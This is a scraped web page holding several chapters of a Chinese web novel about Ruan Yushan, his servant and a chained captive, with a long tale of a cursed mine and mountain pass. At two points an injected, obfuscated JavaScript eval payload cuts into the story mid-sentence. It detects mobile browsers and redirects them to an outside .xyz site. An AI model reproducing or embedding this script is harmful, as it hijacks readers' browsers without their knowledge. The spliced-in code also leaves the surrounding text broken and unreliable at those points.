方才出谷前有小厮送过来,本意是想递到林烟手上,谁知阮玉山又不知哪根筋搭错,说要自己拿着。 于是九十四就这么眼睁睁看着解磁石从好骗的林烟身上换到了不那么好骗的阮玉山身上。 铁丝插进锁孔,九十四屏息凝神,将其在孔里慢慢转动,听到轻微的“咔哒”一声,他便停下,随后快速将铁丝收起来,放回原位。 锁孔开了。 接下来就是阮玉山身上的解磁石。 九十四并不急于一时,他知道阮玉山在等着他去抢,也在提防着他去抢。 阮玉山对他就像猫逮了耗子,在一刀杀死前要千方百计玩个尽兴才肯罢休。从束约符咒到解磁石,阮玉山在九十四面前放了一道又一道诱饵,目的就是等着他上钩再狠狠捉弄。 身后交谈声渐近,是阮玉山和林烟下楼过来了。 林烟先是去牵马,待阮玉山上了马,再去解开九十四捆在木桩上的绳头。 木桩和九十四手腕上数圈绳子都打了结,木桩的绳头解完,他还要去解九十四手上那一端。 九十四靠着木柱,维持那副一言不发的神色,杂乱的头发遮住大半张脸,这个姿势明明已经挡完了阮玉山的全部视线,在林烟要给他手腕解绑那一刹,他还是听见阮玉山说:“别解了。” 林烟看向阮玉山。 阮玉山那双俊逸凛冽的丹凤眼从九十四的头顶悠悠转到他手腕处,顺便看了一眼他的裤腰,意有所指道:“防不住,就捆着走。” 九十四终于转过脸,朝阮玉山望过去。 得到的回应仍是一抹冷笑。 阮玉山盯着他——阮玉山总是喜欢盯着他,居高临下地,尤其喜欢盯他的脸。 眼下刚上过一趟楼,这人脱去了饕餮谷粗糙厚重的平民服饰,换上一身墨色锦缎竹叶纹的中原常服,配一根绛紫金丝牡丹腰带,身后系一件赤色绒面团蟒纹的披风,衬得他此刻在马上倒是更英姿朗朗,虎背蜂腰。 与之对望的九十四却是连上马都艰难。 他的双手由于麻绳的捆绑紧紧并在一起,好不容易抓住马辔,却无法找到着力点支撑自己上去,林烟看不过,想要伸手帮扶,却被阮玉山吩咐道:“让他自己上。” 九十四躲开林烟的手,两条胳膊放到马脖子另一侧张开手掌紧紧贴住,掌心仿佛能感受到马皮下独属于动物的粗壮经脉和沉重呼吸。 饕餮谷不敢怠慢阮玉山,给九十四的马也是一匹好马,矫健温顺,身强体壮。 他拍了拍它,用蝣语小声道:“忍一下。” 说罢攀住马脖子往自己这边狠狠一别,借着反力一脚踩上马镫,倾身向前,另一条腿从后扫去,几乎腾空上了马背。 他能感觉到阮玉山的目光还在自己身上。 九十四一心低头抚摸马脊,视若无物。 阮玉山何尝不知九十四知道他在看他,对此倒更觉得有意思了,挑眉轻笑一声后,扭头驭马而去。 林烟见此,便赶紧上了自己的马,牵好九十四,跟着阮玉山从后门出发了。 从最西北的饕餮谷南下,到富饶的鱼米之乡采备,一路途径天子城,无镛城和奉祥湾三大地界,其间大大小小的关口城池更是数不胜数,最后回到红州,那简直是把大祁按照地图逛了一圈。 这也是阮家祖上留下来的传统。 若论物资,除了江南一带的特产,他们年关时节南下采备的物品在红州都能买到,之所以如此大费周折,是由于当年红州位置偏僻,因而土地贫瘠资源匮乏,阮家先祖还是土匪时,每逢年关就为一山头人的口粮发愁,后来干脆一不做二不休,一入秋就收拾收拾出山做起了游匪。 所谓土匪,是靠山吃山,就在一处山头打转,而游匪呢,顾名思义,则是四处游荡,类似强盗一般见富则劫。也就是马贼。 既然都做强盗了,那指定是奔着有钱的地方去。江南物产丰饶,富商也多,老时年间又是乱世——虽然几百年后的现世也不见比当年多几分安稳。 那时偷盗横行,越是大户的人对自己的财产就越是看得紧,野生野长的土匪哪比得过舞刀弄枪的暗卫?那些意图跑到富庶之地烧杀抢夺的马贼,十个有八个都会被就地正法。 不过富贵险中求么,阮家先祖脑袋灵光,硬的行不通,就给自己捯饬捯饬,或伪装成武馆出师的,或扮作镖局走镖的,总之走到哪儿就因地制宜变换身份,举凡能靠坑蒙拐骗接到生意,假装替人护送钱财,找准机会就一勾子掳走。 再到后边高祖安邦,中原平定,阮家在红州积累了数不尽的万代家财,却被半路收编,成了一州之主,土匪也讲起世家礼节来,守着取之不竭用之不尽的金山银山,为了一州政通人和,不再做打家劫舍的营生。 只是每年年底,看够了边关风月,还是要揣着钱票子去江南游玩一圈。 阮家一代代传承下来,经过数代人丁繁衍,族中势力交错复杂,就南下这一桩事,便触及多少人的利益,是族里多少人年年盯着想要捞油水的活计,光因为每年打发去采买的人选都能让一堆孝子贤孙不顾面子地在祠堂吵个十天半月,更别说将此取缔。于是乎这事儿竟也成了阮家无法作废的习俗。 不过阮家好歹是钟鸣鼎食的大族,为这点小事闹得死去活来的也就是些不远不近的堂亲,正儿八经与阮玉山这一脉相近的宗亲叔伯们,还犯不着为这点利益拉下脸来胡闹——千八百金的,谁都看不上。 因此这次阮玉山决定亲自出门,族中众人震惊之余心思各异,又想到阮玉山这人本就不按常理出牌,便没一个胆敢多嘴。 他带着林烟采买这一趟,从出门起,打的就是“急行北上,徐行南下”的主意。 阮玉山北上,是为了买蝣人,有目的地行事,自然图快,便不在乎沿途风景,可南下采买为的就是一路风土人情,四处散心打转。 他专挑小路,穿行在各处山脉,或沿河脉、江脉而走,缓缓游行,生怕外出时间短了,提前到家一刻。 除此之外,还有一桩正事。 这里要说到阮玉山的曾祖母,也就是阮家现在住在北园的老太太。 老太太姓佘,闺名瑶英,今年芳龄九十六,跟短命的阮家人比起来那是长生种里的长生种。 论起出身,她可不是什么大家闺秀,恰恰相反,往前数个几辈子说不定跟阮家先祖还是道上的朋友——都是土匪。 当年先太上皇微服私访,路过东方幽北城,见日出方向有一座奇山,形同巨蟒,高耸入云,好似大蛇即将冲破桎梏腾飞成龙,又看见旁边一座山头上岩石走势奇诡,草木异常繁茂,打定主意山下埋着巨矿。 既然无人采矿,说明幽北城主势必还不知晓此处矿山。 大祈各城城主与天子之间并非单纯的从属关系,名义上天子有权调令天下全城,实际各城自主权利很大,比起天子,城主更俯首听命于上一级的州主,州主往上才是天子。 像阮家,虽是红州城城主,同时也是红州州主,红州方圆四十城便有四十个城主,四十位城主皆听命于阮玉山,阮玉山对天子的态度就是四十城对天子的态度。 虽说天子一怒伏尸百万,但这事儿真要来硬的也说不过去。 一是各州州主与天子之间除了有上下级关系之外,在管辖州土的权力这方面几乎是平起平坐,甚至天子还不如州主,不能擅自修改各州律法,因此也不好越级把手伸到各城;二来堂堂天子兴师动众,郑重其事找来城主,把事情一说其实只是觊觎人家手下一个矿山,传出去未免贻笑大方。 先太上皇看出这处是个矿山,先把此事按在心里谁也不提。再一打听,原来这山上还有一处山匪占山为王,山寨老大姓佘,膝下有一养女,生性泼辣,争强好胜,便是阮府现在的老太太。 佘家土匪霸占山头多年,为非作歹,乃地方一恶,之所以没被绳之以法,自然是因为上头有人护着。 什么样的土种出什么样的菜,穷山恶水出刁民,也出土匪。 往前数百八十年世道还不乱,正是大祈繁荣昌盛的时候,初登天子之位的先太上皇下令各州减轻赋税徭役,为的就是让百姓过好日子。然而这山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035268|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头底下的村子,却是臭名昭彰的恶人村。 也不晓得是风水原因还是怎么,山脚下一众村民个个好吃懒做,穷凶极恶,年年赋税征收到他们这儿简直比登天还难。偏偏还不能用强,一旦来了官兵衙役,村子里的人个个撒泼打滚,说狗官欺民,拿不出钱就要逼人去死。可县衙拿出不相应的赋税,父母官就要问责。 当时的县令又是个好相与的文弱书生,年年从自己兜里拿出钱来把这村子的田税给补上。 终于有一天,佘老大霸占山头当了土匪。 有土匪那就得剿匪,县令向上请示,得到拨款后却按兵不动,孤身入寨子,同佘老大谈成了一笔交易:你当你的土匪,我当我的官。你该抢钱抢钱,我权当看不见。不过有一点——你只能抢山脚不交地税那批村民的钱,抢的钱还得分我八成。 佘老大一听:交八成不行,我一个寨子的人要养呢。 县令大手一挥,说:兵来! 佘老大示弱:好吧好吧,五五分。 县令拍案而起,又说:兵来! 佘老大说:好吧好吧,四六分,你六我四。 县令哇哇大叫:兵来!兵来! 佘老大气得吹胡子瞪眼:三七分不能再让了! 三七分,县令够得着的那七分正好填补田税的空缺。 小县令挥一挥衣袖,哼着小曲儿脚底生风地回家了。 佘老大的女儿在旁边看完这场闹剧笑他:蠢老头子,人家一开始就想要三七分,说二八是折中吓唬你,就你不经吓。 老头子白她:你经吓,你来掌事儿得了! 他女儿说起话来毫不避讳:急什么?等你老死了,自然有我掌事儿的时候。 这就是佘瑶英了。 阮家的老少爷们儿好似天生一般骨子里就好这口,从古至今都爱找行事狠辣又憋着股韧劲儿的老婆,越是不给好脸他们越喜欢。 用老话来调笑就是贱,一碰着自己中意的人这股子贱就酥酥麻麻的从全身泛滥起来,不狠不坏的他们还偏偏不爱。 这毛病日后到了阮玉山这里,癫狂起来又会发作几分,也未可知。 至于阮玉山曾祖父和这位佘姑娘当年又是怎么扯上关系的,为什么阮玉山出一趟门还得回阮府老太太七八十年前的老家一趟,还得说回先太上皇两眼一提溜就看中矿山这事儿上。 自打县令和佘老大协调好后,县里该交的赋税交上了,山寨也扎根了,矿山也彻底沦落成土匪的老窝。 渐渐的佘家寨恶名远扬,以至于幽北地界,临近此县,有一个关口,叫沙佘关。“沙”便是取“杀”之意。 不过这是往上数好几代人的事了,沙佘关具体建造的年份谁也说不准,有说是佘家寨出现之前就建了许多年的,也有说是佘家寨在当地作恶,村民们心有不忿才给关口取的这么一个名字。 反正关于这个沙佘关,众说纷纭,传言也有不止一个由来。 最广为流传的便是说这地方土匪凶恶非常,沙佘关的意思就是要过关得先杀一个佘家人,否则便跨不进前方幽北地界的第一道槛。夸是夸张了些,不过在那些年,也很能起到一个提醒往来过客的作用。 再有一个说法那就和皇天后土,神魔鬼怪相关了。 ——矿山旁边那座巨蟒峰,又被人叫过山峰。 因为那山长得诡谲奇怪,比普通的山高出许多,再者那山的形状十分类似一种叫“过山峰”的毒蛇,腰部细长,山颈却又扁又宽,到了顶部简直就是一块没进化出五官的蛇头,瘦瘦窄窄的三角模样,好像即将冲破压制飞向云巅似的,这山由此得名“过山峰”。 民间传说里各种玄妙莫测的奇峰异石向来与创世神佛脱不开关系。 相传天地初开,整个娑婆世界还是一片混沌之时,有无数妖魔横行,即便是一草一木,一花一石,也吸饱了日月精华,一念之间便可成神入魔,颠覆一方。 有一杀神,名无相观音,生于先天怒火之池,带一身煞气,不分昼夜,穿行于混沌之间,斩杀妖魔。 过山峰原本是山石化成的巨蟒,在混沌中蛰伏上千年,渐渐落了邪行,吸干方圆百里的大地精华,拦截了那一片生灵至少百年的修为,妄图集天材地宝于一身,化龙冲天。 不巧却被路过的无相观音发现,顺手将一把三尖两刃戟打入它体内,算作惩罚,从此将它困在山间,永不得出。 因此沙佘关,也取“杀蛇”之意,名字便是来自上述传说。 最后一个传闻,则是关于这地方曾将佘家寨除佘老太太以外近百余人全部埋葬的往事。 8.矿山 这就说来话长了。 自打佘家寨在这山头扎根,官匪相安数十年,直到先太上皇发现这座矿山。 盯上矿山的先太上皇把县令和佘老大的这桩事儿一打听,心里有了想法——此地官匪勾结,他回去正好问这小县令一个以权谋私之罪,这样插手到地级县的名目也有了,幽北城主治下不严,不说谢他治了蠹虫,总之不好过多置喙,顺带的,先太上皇就能把这矿山“一不小心”挖出来。 届时这矿山便是天子挖出来的,没有他天子,矿山再埋几百年也没人发现,你幽北城主岂有虎口夺食之理? 先太上皇打定主意,转身回到天子城,先问了小县令的罪,打得幽北那边猝不及防,待小县令下了天牢,趁幽北还没反应过来是怎么个事儿,先太上皇又悄悄拨起算盘:剿匪的名目有了,可是派哪路的兵去? 天子城离幽北可不近,他不愿意浪费自己的兵力马力还有粮草,调派其他城邦的呢,离幽北太近的也不行——人家跟幽北城毗邻而居,关系再怎么的也比跟天高地远的天子关系好,为了你天子一声令下,跑去管幽北境内的破事儿,犯不上这么得罪人。倒时候来个阳奉阴违,闹个小题大做的笑话,天子就不好再找名目插手了。 思来想去,先太上皇盯上了远在红州的阮家。 阮家自来兵强马壮,离幽北跟天子城一样远,又跟那些个城主没几分交情,最重要的是当年还是个毛头小子的阮老太爷——也就是阮玉山如今过世了的曾祖父,天子自认为很好拿捏。 先太上皇千里迢迢把人召进天字府,先冠冕堂皇怒斥一通幽北政以贿成,官场昏敝,待阮老太爷配合他诚惶诚恐地劝慰一遭,说着诸如不能为了这点事伤害龙体,只要能为天子分忧,臣必定鞠躬尽瘁死而后已此类的话,天子才拐弯抹角切入正题,要阮家军代君剿匪,顺便提了一嘴矿山的事儿。 阮老太爷一听就明白先太上皇醉翁之意:代君剿匪是假,借用他阮家的兵力马力去幽北“无意间”挖出一座矿山,回来献给天子,让幽北无力阻挠才是真。 话都说到这份上了,再推脱就是不识好歹。 阮老太爷一拍胸脯,跟先太上皇说:您等着吧! 先太上皇就等着。 后边就一直等着了。 阮老太爷带着自家一万兵马和粮草千里迢迢奔袭幽北,可不是真为了给天子干白活的。阮家先祖从上到下数三百年,还没出过一个会蠢到给人打白工的家主。 初到矿山下,阮老太爷先是这么打算:横竖这矿山得挖出来,要真按天子的心意,老老实实过了明路上达天听,那他老阮家是出钱出兵又出力,一点好处捞不着。 反正现在人到这儿了,矿山的事没过明面儿,天子也还得端着装不知道,他打发一拨人守到城外,自个儿先把山上的土匪收拾了,再去知会幽北城主。 若幽北城主配合,那这矿山幽北和红州各分一半,届时生米煮成熟饭,天子没立场插手——矿是他姓阮的“无意”发现的,你天子总不能把自己先在幽北发现矿山,回去又跟他阮家暗通款曲的事儿摆出来惹天下人笑话。 若幽北这边要私吞,阮老太爷也有对策。他便告知城主自己在城外安排了人,只需将烟花一放,守在城外的人见了,自会拿着消息奔往天子城,把这矿山过了明面儿献给天子,如此,红州和幽北谁也占不到便宜——这话一搬出来,孰轻孰重,如何有利,长了脑子的都会衡量,幽北人也不傻。 倘或幽北当真不识抬举,还不买账,那阮老太爷便将计就计,按照天子的原计划来,带兵驻扎在此,打发人昭告天下,说自己为天子办事时不小心发现一座矿山,将这矿山拱手让给天子。 到时候打着天子的名义在这儿挖矿的还得是他阮家的兵,山里有多少矿,挖了多少,那都是阮老太爷一句话的事,油水虽说比不上跟幽北平分的,但也少不了。即便天子不乐意,他抠也要从天子的牙缝里抠小半矿山出来。 总之无论是顺从先太上皇还是于幽北私下勾结,他姓阮的都有便宜可占,否则也不会在天子面前大包大揽答应下这苦差事。与两边合作的区别不过是利多利少罢了——从龙口里夺肉,还是跟自己同一级的城主分赃,用脚趾头想也明白哪边更容易。 阮老太爷的算盘悄摸声儿在心里打着,自认为天衣无缝,没想到在第一关就遇到了拦路虎。 ——因为不管这些法子选用哪一个,他总有一件事得先干,那就是把佘家寨给灭了。 乌泱泱的阮家兵马站在矿山脚下,一副雄赳赳气昂昂的架势,等了半天,对面山头就派了个黄毛丫头出来应战。 那时候打仗都是这样,先礼后兵,谁都不愿意浪费手下的兵力,能和谈则和谈,若佘家寨愿意主动撤离,是不再做打家劫舍的生意也好,又或是换个地方打家劫舍也罢,只要不碍着阮老太爷的事,就握手言和,各奔东西。 哪晓得佘家寨听说山脚下的小县令被下了大狱以后,更是拿出一副要跟朝廷鱼死网破的姿态。 佘老大的养女出来打头阵,天上日头正足,太阳晒着这山的红土,佘姑娘负光骑着一匹大马,只叫人看得见山头一个黑漆漆的影子,披着威风凛凛的披风,举着佘家寨的虎豹旗。朝山下阮老爷子一指,问是不是就你小子放话要捣了姑奶奶的老窝。 那声音嘹亮又富有中气,字字掷地有声,阮老太爷也是个输了人命不输气势的,怎么肯把风头让一个丫头片子抢了去,当即一仰头—— 又被扎眼的太阳给他刺得低下头去。 阮老太爷揉揉眼睛,第二回学聪明了,把手搭在眉毛上,正要二鼓作气喊话回击,天上乌云把日头遮了。 这不遮不要紧,一遮了太阳,阮老太爷往山上定睛一看,看清佘姑娘的模样,是呼吸也找不着了,自己姓什么也忘了,只记得山上那人美得他魂都丢了。 佘姑娘生的是阔额头,方圆的下颌,鹅蛋脸,一个微兜的下巴,大圆眼,面若银盘,色如春花,长得高大强壮,浑身丰腴有力,就连身下那匹马也是威武矫健,一下子就把阮老太爷瞧得挪不开眼。 前头说过,阮家老少爷们就爱找这样的老婆,给他脸的他不要,打他脸的他还用另一边来接着。 阮老太爷盯着山顶的人,喜欢得两腿发软,心肠也软,舌头也软了,先前打算放出去的狠话是一个字也说不出来,喉咙里打滑,一骨碌冒出一句:“你成亲了吗?” 山头上的人显然一愣。 随后阮老太爷听见对方调马转头前啐了一口,问候一声他祖宗十八代,再没影了。 阮老太爷更喜欢了。 这下好了,矿山上的匪打不下来,先前万般计划全都泡汤。 回去阮老太爷在自己营里转辗反侧,第二天一大清早,跑到佘家寨门口,说自己带了聘礼要迎娶佘姑娘。 佘老大瞧他真没带兵,又听说他要求娶自己的女儿,横挑鼻子竖挑眼地把人迎进来,往他身上打量,发现他两手空空,说带了聘礼简直就是胡话。 阮老太爷年轻时候一贯是油腔滑调,若是借着求亲的幌子诱骗佘家寨开门借此伏击也未尝没有可能,佘老大一眼把这人的底看了个透,因此心里又多了层防备,此刻更是简直恨不得拿鼻孔看人,哼着恶气问聘礼在哪儿。 二十出头的阮老太爷左看右看,先给自己寻了个座椅,往椅子里一座,翘上二郎腿,端的是波澜不惊:“您别着急。” 他解释道:“我这聘礼拿出来了就收不回去,您不管是什么,总之价值连城,连天子也垂涎三尺。我若是眼下就给您奉上,却入不得贵千金的眼,强娶也没意思。您不如给我两个月,准许我到这寨子里头献献殷勤,届时若有幸能做一回佘府的乘龙快婿,金山银山也不在话下。” 若不成,那就该见兵见兵,该见礼见礼。 这话很有暗示性,听着软和,其实态度很强硬,明明白白地告诉佘老大:你若是非要逼我现在就把聘礼拿出来,我收不回去,你女儿又不乐意嫁我,那我可不会知难而退,而是要强取豪夺。 倒不如各退一步,给个机会再说。 佘老大一听,再一瞅藏在门后边的女儿,算是默许。 阮老太爷当真就在山底下耗着兵马粮草整整俩月,成天往寨子里跑,一通死缠烂打,跟条哈巴狗儿一样撵在人屁股后头嘘寒问暖,打不还手骂不还口,还真让佘姑娘点了头。 这下关于这矿山怎么分的事儿,就有得算了。 阮老太爷先表态:矿山里的东西,他一分不要,说了是聘礼,那就是送给佘家人的,他半点不沾。 不过即便是佘家人,也不能将矿山独占——天子和幽北,总有一方不能得罪。就算是阮老太爷自己,也没那么大的胃口,一个人吞得下一座矿山,毕竟这矿山不是长在红州地界上,天下便宜没有都姓阮的道理。 既然阮老太爷做了决定,要把矿山自己想吞占那部分拿给佘家作为聘礼,那必然就得背弃天子,拉拢幽北。他和佘姑娘先在佘家寨拜过天地祖宗成完婚,隔日就按自己最初的打算,去找幽北城主商谈。 其实此时阮老太爷除了与幽北合作,已没有了退路,不过好在对方并不知晓他与佘家寨的姻亲,于是乎当阮老太爷照旧拿出那套自己在城外安排了人往天子城送消息的说辞时,幽北城主仍然动摇了。 他趁机又添一把柴,说挖矿山也不是易事,中间耗费诸多人力物力财力,这些全都由阮家包了,你幽北只需要坐在坐等一半的矿送到城里来就行。 有他这么一说,幽北城主欣然同意。 当阮老太爷把这消息带回佘家寨,佘老大只摆摆手,说你小子天子幽北两头瞒,双方都不知晓你把这一半的矿送给了佘家的事,佘家收了你的聘礼,挖矿一事不占你的便宜,寨子里人够多,用不着阮家的兵。你带着佘家的女儿,回红州过日子去吧。 阮老爷也不推脱,只留下一批通晓天文地理的监事供佘老大使唤,随后带着一万阮家军和佘姑娘打道回红州去了。 待消息传到天子城时,已是又过了整整两个月,先太上皇得知阮老太爷这一通事,是又恨又悔,气得险些卧床不起。 不过后来,也不知是不是真的因为触怒龙颜,有违天道,幽北那矿道挖到一半就塌了,还正好塌在阮老太爷第三年孤身回到幽北探望自家岳丈那天。 未满三十的阮家家主,连同佘家寨上上下下几百口人,全埋在了矿山地下,尸骨无存。 当年那事说来也奇怪,佘姑娘嫁给阮老太爷第一年生下了阮玉山的祖父,生孩子的时候落下病根,见不得风,只能在府里养病,又过一年,怀老二的时候,佘家寨一个炮头掌柜来了阮府,说自己星夜兼程是为了传话,让阮老太爷去救救寨子的人。 到底为何救人,那人支支吾吾说不清楚,仿佛人已糊涂了,说来说去就会麻木地重复那几句,眼神也浑浑噩噩不清醒,只说知道佘姑娘,也就是现在的阮家老太太,去年生了孩子见不得风,就不要去了。 这就顶奇怪了——能在寨子里做上炮头的,那都是二当家。既然是做二当家的,哪里还有传话都传不明白的道理。况且佘老太太产后不能见风的毛病,府里当时千叮咛万嘱咐过不要告诉佘家免得佘老大担心,这人又是怎么知道的? 可惜当时不管是佘老太太还是阮老太爷都没当回事,只以为是对方赶路赶累了,忙把人留在府里休息,阮老太爷则自个儿连夜往佘家寨去。 谁曾想这个炮头二掌柜才在阮府住下的第一晚,就莫名死了。 头晚住的,第二天清早被人发现尸体,让仵作来验尸,得到的结果更是稀奇:从尸体状况来看,这人死了起码一个月。 那时阮老太爷已出门前往佘家寨一天一夜了。 老太太当即察觉不对,一方面安排府里做了法事,把尸体赶紧下葬,一方面打发人前去把阮老太爷给追回来。 可阮老太爷的马是整个红州最快最敏捷的坐骑,当下派人去追,已为时晚矣。 果不其然,追到佘家寨的人回来后说,早在半年前,那座矿山便塌了,整个寨子的人都在山上,无一幸免。可周围的村民说,每个月一到朔望日的晚上,就能听到山里锣鼓喧天热闹非凡,远远地从村子里自家的窗子望出去,还是瞧见山头和矿道灯火通明。 有不信邪的村民凑热闹专挑那两天晚上去矿道里一探究竟,去了就没回来。 非但如此,村子里从此开始出现了瘟疫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038835|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮老太爷从红州远赴佘家寨的时候,瘟疫已经将整个村子杀得死了大半。 他抵达佘家寨的那晚正好是整个月的望日,进了矿道就再也没出来,只留下自己的那匹坐骑守在山脚。 佘老太太打发去寻阮老太爷的人在数日后的清晨赶到,从几个尚未感染瘟疫的村民口中打听了消息,有人说自己亲眼看着阮老太爷走进的矿道,连阮老太爷的模样打扮都说得清清楚楚,事情到这里,大伙都清楚,阮老太爷大抵是活不成了。 阮府的人不敢久留,趁幽北将此地封禁前,带着老太爷的马回了红州。 消息带回阮府时,佘老太太却说自己已经知道了。 自打阮老太爷离开,佘老太太便总遇到旧人托梦。 一时是长长的昏暗的矿道里佘家寨的兄弟姐妹们睁着没有光泽的眼,一遍一遍叫大小姐带他们出去。地道太冷,山中不见天日,他们也想自由,想晒晒人间的太阳。 一时又是阮老太爷笑吟吟的脸,同往常一样满口不着调,油嘴滑舌地同她玩闹,过后靠在漆黑的石壁上,带着点歉意告诉她,说瑶英啊,真对你不起,我回不来了。 老太太就是打那起有了些通灵和占卜的能力。 只是这么多年,她对前往沙佘关寻回老太爷尸骨的事只字不提,一直到如今,当年的佘姑娘熬成了佘老太太,英年早逝的阮家主在众人追忆时称呼也变作了阮老太爷,半世春秋过去,佘老太太在得知阮玉山要北上的那天,突然交代了阮玉山这个差事。 她要阮玉山去矿道里,把阮老太爷的骨珠给带回来。 虽然阮玉山暂时也没想明白怎么搁置了半世之久的事儿如今突然落到他头上,不过老太太托付的事,阮家子孙理应只有争着抢着干的,没有推脱不想干的理。 江南风光好,从饕餮谷一路往南的路却不怎么轻便。 三人骑马,一路向东,先过了沙佘关,晌午才到一处河边落脚。 九十四照旧是和马拴在一块儿。 从被关进地牢到现在,满打满算他已是三天两夜滴水未进。 这处地方土壤肥沃草木繁茂,过路的旅客不少,当地村民隔个三五里地就在河岸支几张桌子摆摊卖点吃食。 也有专割了车马粮草装上几大板车停在路边卖的,也有专帮洗衣的妇人:支一个棚子,里头挂着干净舒爽的各类着装,什么尺寸都有,若有人需要洗衣,便支付几个银钱,再自行将脏衣脱了,去棚子里寻一件尺寸与布料相当的穿上。尺寸稍微不适,当场可改,衣服即换即走,脱下来的那件脏衣裳洗完以后就归那棚子与妇人,以供后来的旅客交换。 至于银钱补多补少,都不讲究,把洗衣的工钱付了,别的看着给点就行。来往过客能在这儿把衣裳换下来的,穿得都不贵重。 阮玉山爱洁,自己和林烟带够了换洗的衣物,自是不需要在这样的换衣棚落脚,只找了家看起来整洁清净的小店,下马便打发小二把坐骑牵了去喂草,一路朝店里走,回头看到九十四用手肘支撑着自己从马上下来。 自从上过一次马,又跑了这半日,九十四像是与他身下那匹马混熟了一般,做什么都一副驾轻就熟的姿态。 即便绑着手,下马的动作也相当流利。 阮玉山掸掸披风上的灰,一边摘下手上那副朱色菱纹墨狐皮手套,一边随手指了指不远处的换衣棚子,对林烟说:“带他去换套衣裳。” 林烟饿着肚子,正伸长脖子往店里打探有哪些吃食,蓦地听阮玉山这么一句,下意识道:“啊?” 阮玉山一个眼神还没斜过去,他又反应过来:“哦!” 接着忙不迭跑去牵了九十四,拉着人走到一半,又回来道:“老爷,那绳子……” 阮玉山说:“解了。” 绑了一上午,也够人长记性了。 林烟急匆匆的,为了自己和九十四快点吃饭,就近找了个换衣棚进去选衣裳。 守棚的是个体型丰腴的中年妇人,头上裹着块粗布巾子,皮肤粗糙却面发红光,嗓门也亮堂,一看来了客,赶紧放下手中布料和针线,熟门熟路地招待起来。 林烟哪是个会选衣裳的,跟在阮玉山身边久了,挑东西的标准只往阮府那一档子凑,当即便指着架子上一件翠底银丝竹叶纹的布绒袍道:“就要那件!” 平民百姓卖不得王公贵族的衣裳,什么阶层用什么衣料,各城各州虽有不同的律法,但都大同小异。这棚子里挂着唯一一件绒袍,那也是极普通的布绒。只是布料虽非上等,整件衣裳做工却十分精细,上头无论花纹还是缝合处的用针走线都是一流。 据老板说当初在此换下这套衣裳的人家中曾有人在天子府做过绣娘,只是那人偶然外出仓促,无奈才在此换下了这套衣服。怎知正是这衣服太精致的缘故,南来北往那么多人,期间在店里换衣服的无数,都不曾有人对这身着装有过想法。毕竟会在这等小摊上换买衣裳的,也出不起几个能买下的大钱。 林烟一听,更是要定了这套衣裳:“拿下来——我们老爷今儿就把这钱出了。” 九十四只是顺他所指瞧了一眼,便把视线撤下。 他看出林烟满身孩子气性,并不把这话当真——林烟愿意买,阮玉山可不一定。 衣棚老板也劝:“小公子要不再去问问你家老爷?” 林烟大手一挥:“我家老爷从不说废话,举凡是没特地交代的,那就由我们手下人自己做主。” 这倒确实是阮玉山的脾性。他向来不是思虑不周的主,打发了人做事,只要没提及,那便没所谓。 林烟掏了钱,老板欢欢喜喜地取下衣裳,递到九十四跟前。 这时他双手已解了绑,从手背到小臂都被麻绳捆出深深的红痕,红痕没消,还有一对沉重的镣铐和铁链拷在双腕。老板习以为常地将目光掠过他的双手,并不作怪。 如今天下动荡,妖物横生,百姓过得朝不保夕,对各类怪象都已麻木,区区一个戴着锁链的凡人,不足为奇。 反倒九十四伸手接衣时踟蹰了。 他抬头朝远处望去,衣棚后方的河流在萧瑟秋风下泛着灰暗的光。 九十四对林烟开口,提出了一个请求:“我想去洗。” 9.包子 他的中土话不算流利,胜在语速缓慢,表达准确。 林烟见他满手灰尘,脸上血痕未净,这才想起从饕餮谷到现在这一路,九十四都还没洗过手。 “是该洗洗的。”他虽惊讶九十四一个从未出过饕餮谷的蝣人竟会如此清晰地表达中土语言,但第一反应还是先应下九十四的要求,“去吧,我同你一起。” 二人正要往河边迈步,老板将他们拦住,手里一边往衣料上绣着刺绣,一边神色如常道:“这河岸一直不太平,先不要去。赶明儿了慧小师傅来告了亡经,先把人烧了,将里头的东西超度,你们再洗。” 林烟转过来,愕然道:“烧人?” ——当他诚惶诚恐拉着九十四跑回去把这话转述给阮玉山时,阮玉山刚点好两大碗龙须面和两盘黄焖羊肉,听见林烟的话,也是这么问的。 平日在家里用膳,阮玉山是六个前菜,八个硬菜和十二个小菜一桌,点心与粥品另占一桌,若在秋冬,要吃锅子再立一桌。他自己做得一手好菜,因此在府邸吃起饭来就更挑剔,这会子出门在外,让他简单干净吃碗热面也过得去。 至于为什么自钟鸣鼎食之家出生的阮老爷竟然还会生火做菜,那得另说。 小二端上来面和羊肉,又拿两个空碗,林烟扭头瞅了瞅被拴在门口的九十四,回过头拿起小碗,准备把自己的面挑一半出来,却被阮玉山拦下。 阮玉山同小二吩咐道:“拿几个包子,羊肉的,要新鲜。” 又冲九十四扬了扬下巴:“给他送过去。” 小二面露难色。 阮玉山看出他因何为难,便道:“连同给他的碗,我一并付钱。” 因着九十四手腕间镣铐未取,袖子脱不下来,加上林烟忙着回来给阮玉山说事儿,他那身糟污的狗皮衣裳到底来不及换。 他一身囚犯打扮,又与马拴在一起,满头乌发乱得打绺,饭铺嫌他,怕他脏了碗,让别的客人晓得,生意做不下去,小二不好交差,也是没有办法的事。 阮玉山既然肯连碗一起买下,那再好不过,小二到了老板面前也不会被挑错,自然伶伶俐俐地给九十四拿包子去了。 